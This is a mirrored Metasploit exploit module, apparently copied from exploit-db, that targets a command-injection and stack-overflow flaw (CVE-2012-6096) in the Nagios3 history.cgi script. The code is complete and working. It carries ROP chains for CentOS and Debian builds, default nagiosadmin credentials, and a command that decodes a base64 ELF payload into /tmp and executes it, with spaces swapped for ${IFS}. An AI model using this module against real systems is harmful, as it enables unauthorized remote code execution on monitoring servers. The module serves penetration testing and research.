Nagios3 – ‘history.cgi’ Host Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2013-01-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/24159/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##
    
    require 'msf/core'
    require 'rex'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	include Msf::Exploit::Remote::HttpClient
    	include Msf::Exploit::EXE
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Nagios3 history.cgi Host Command Execution',
    			'Description'=> %q{
    					This module abuses a command injection vulnerability in the
    				Nagios3 history.cgi script.
    			},
    			'Author' => [
    				'Unknown <temp66@gmail.com>',		# Original finding
    				'blasty <blasty@fail0verflow.com>',	# First working exploit
    				'Jose Selvi <jselvi@pentester.es>',	# Metasploit module
    				'Daniele Martini <cyrax[at]pkcrew.org>'	# Metasploit module
    			],
    			'License'=> MSF_LICENSE,
    			'References' =>
    				[
    					[ 'CVE', '2012-6096' ],
    					[ 'OSVDB', '88322' ],
    					[ 'BID', '56879' ],
    					[ 'EDB', '24084' ],
    					[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2012-December/089125.html' ]
    				],
    			'Platform' => ['unix', 'linux'],
    			'Arch' => [ ARCH_X86 ],
    			'Privileged' => false,
    			'Payload'=>
    				{
    					'Space' => 200,	# Due to a system() parameter length limitation
    					'BadChars'=> '',	# It'll be base64 encoded
    				},
    			'Targets'=>
    				[
    					[ 'Automatic Target', { 'auto' => true }],
    					# NOTE: All addresses are from the history.cgi binary
    					[ 'Appliance Nagios XI 2012R1.3 (CentOS 6.x)',
    						{
    							'BannerRE' => 'Apache/2.2.15 (CentOS)',
    							'VersionRE' => '3.4.1',
    							'Arch' => ARCH_X86,
    							'Offset' => 0xc43,
    							'RopStack' =>
    								[
    									0x0804c260,	# unescape_cgi_input()
    									0x08048f04,	# pop, ret
    									0x08079b60,	# buffer addr
    									0x08048bb0,	# system()
    									0x08048e70,	# exit()
    									0x08079b60	# buffer addr
    								]
    						}
    					],
    					[ 'Debian 5 (nagios3_3.0.6-4~lenny2_i386.deb)',
    						{
    							'BannerRE' => 'Apache/2.2.9 (Debian)',
    							'VersionRE' => '3.0.6',
    							'Arch' => ARCH_X86,
    							'Offset' => 0xc37,
    							'RopStack' =>
    								[
    									0x0804b620,	# unescape_cgi_input()
    									0x08048fe4,	# pop, ret
    									0x080727a0,	# buffer addr
    									0x08048c7c,	# system()
    									0xdeafbabe,	# if should be exit() but it's not
    									0x080727a0	# buffer addr
    								]
    						}
    					],
    				],
    			'DefaultTarget'=> 0,
    			'DisclosureDate' => 'Dec 09 2012'))
    
    		register_options(
    			[
    				OptString.new('TARGETURI', [true, "The full URI path to history.cgi", "/nagios3/cgi-bin/history.cgi"]),
    				OptString.new('USER', [false, "The username to authenticate with", "nagiosadmin"]),
    				OptString.new('PASS', [false, "The password to authenticate with", "nagiosadmin"]),
    			], self.class)
    	end
    
    	def detect_version(uri)
    		# Send request
    		res = send_request_cgi({
    			'method'=> 'GET',
    			'uri' => uri,
    			'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
    		}, 10)
    
    		# Error handling
    		if res.nil?
    			print_error("Unable to get a response from the server")
    			return nil, nil
    		end
    		if(res.code == 401)
    			print_error("Please specify correct values for USER and PASS")
    			return nil, nil
    		end
    		if(res.code == 404)
    			print_error("Please specify the correct path to history.cgi in the URI parameter")
    			return nil, nil
    		end
    
    		# Extract banner from response
    		banner = res.headers['Server']
    
    		# Extract version from body
    		version = nil
    		version_line = res.body.match(/Nagios&reg; (Core&trade; )?[0-9.]+ -/)
    		if not version_line.nil?
    			version = version_line[0].match(/[0-9.]+/)[0]
    		end
    
    		# Check in an alert exists
    		alert = res.body.match(/ALERT/)
    
    		return version, banner, alert
    	end
    
    	def select_target(version, banner)
    
    		# No banner and version, no target
    		if banner.nil? or version.nil?
    			return nil
    		end
    
    		# Get version information
    		print_status("Web Server banner: #{banner}")
    		print_status("Nagios version detected: #{version}")
    
    		# Try regex for each target
    		self.targets.each do |t|
    			if t['BannerRE'].nil? or t['VersionRE'].nil?# It doesn't exist in Auto Target
    				next
    			end
    			regexp1 = Regexp.escape(t['BannerRE'])
    			regexp2 = Regexp.escape(t['VersionRE'])
    			if ( banner =~ /#{regexp1}/ and version =~ /#{regexp2}/ ) then
    				return t
    			end
    		end
    		# If not detected, return nil
    		return nil
    	end
    
    	def check
    		print_status("Checking banner and version...")
    		# Detect version
    		banner, version, alert = detect_version(target_uri.path)
    		# Select target
    		mytarget = select_target(banner, version)
    
    		if mytarget.nil?
    			print_error("No matching target")
    			return CheckCode::Unknown
    		end
    
    		if alert.nil?
    			print_error("At least one ALERT is needed in order to exploit")
    			return CheckCode::Detected
    		end
    
    		return CheckCode::Vulnerable
    	end
    
    	def exploit
    		# Automatic Targeting
    		mytarget = nil
    		banner, version, alert = detect_version(target_uri.path)
    		if (target['auto'])
    			print_status("Automatically detecting the target...")
    			mytarget = select_target(banner, version)
    			if mytarget.nil?
    				fail_with(Exploit::Failure::NoTarget, "No matching target")
    			end
    		else
    			mytarget = target
    		end
    
    		print_status("Selected Target: #{mytarget.name}")
    		if alert.nil?
    			print_error("At least one ALERT is needed in order to exploit, none found in the first page, trying anyway...")
    		end
    		print_status("Sending request to http://#{rhost}:#{rport}#{target_uri.path}")
    
    		# Generate a payload ELF to execute
    		elfbin = generate_payload_exe
    		elfb64 = Rex::Text.encode_base64(elfbin)
    
    		# Generate random filename
    		tempfile = '/tmp/' + rand_text_alphanumeric(10)
    
    		# Generate command-line execution
    		if mytarget.name =~ /CentOS/
    			cmd = "echo #{elfb64}|base64 -d|tee #{tempfile};chmod 700 #{tempfile};rm -rf #{tempfile}|#{tempfile};"
    		else
    			cmd = "echo #{elfb64}|base64 -d|tee #{tempfile} |chmod +x #{tempfile};#{tempfile};rm -f #{tempfile}"
    		end
    		host_value = cmd.gsub!(' ', '${IFS}')
    
    		# Generate 'host' parameter value
    		padding_size = mytarget['Offset'] - host_value.length
    		host_value << rand_text_alphanumeric( padding_size )
    
    		# Generate ROP
    		host_value << mytarget['RopStack'].pack('V*')
    
    		# Send exploit
    		res = send_request_cgi({
    			'method'=> 'GET',
    			'uri' => target_uri.path,
    			'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
    			'vars_get' =>
    			{
    				'host' => host_value
    			}
    		})
    
    		if not res
    			if session_created?
    				print_status("Session created, enjoy!")
    			else
    				print_error("No response from the server")
    			end
    			return
    		end
    
    		if res.code == 401
    			fail_with(Exploit::Failure::NoAccess, "Please specify correct values for USER and PASS")
    		end
    
    		if res.code == 404
    			fail_with(Exploit::Failure::NotFound, "Please specify the correct path to history.cgi in the TARGETURI parameter")
    		end
    
    		print_status("Unknown response #{res.code}")
    	end
    
    end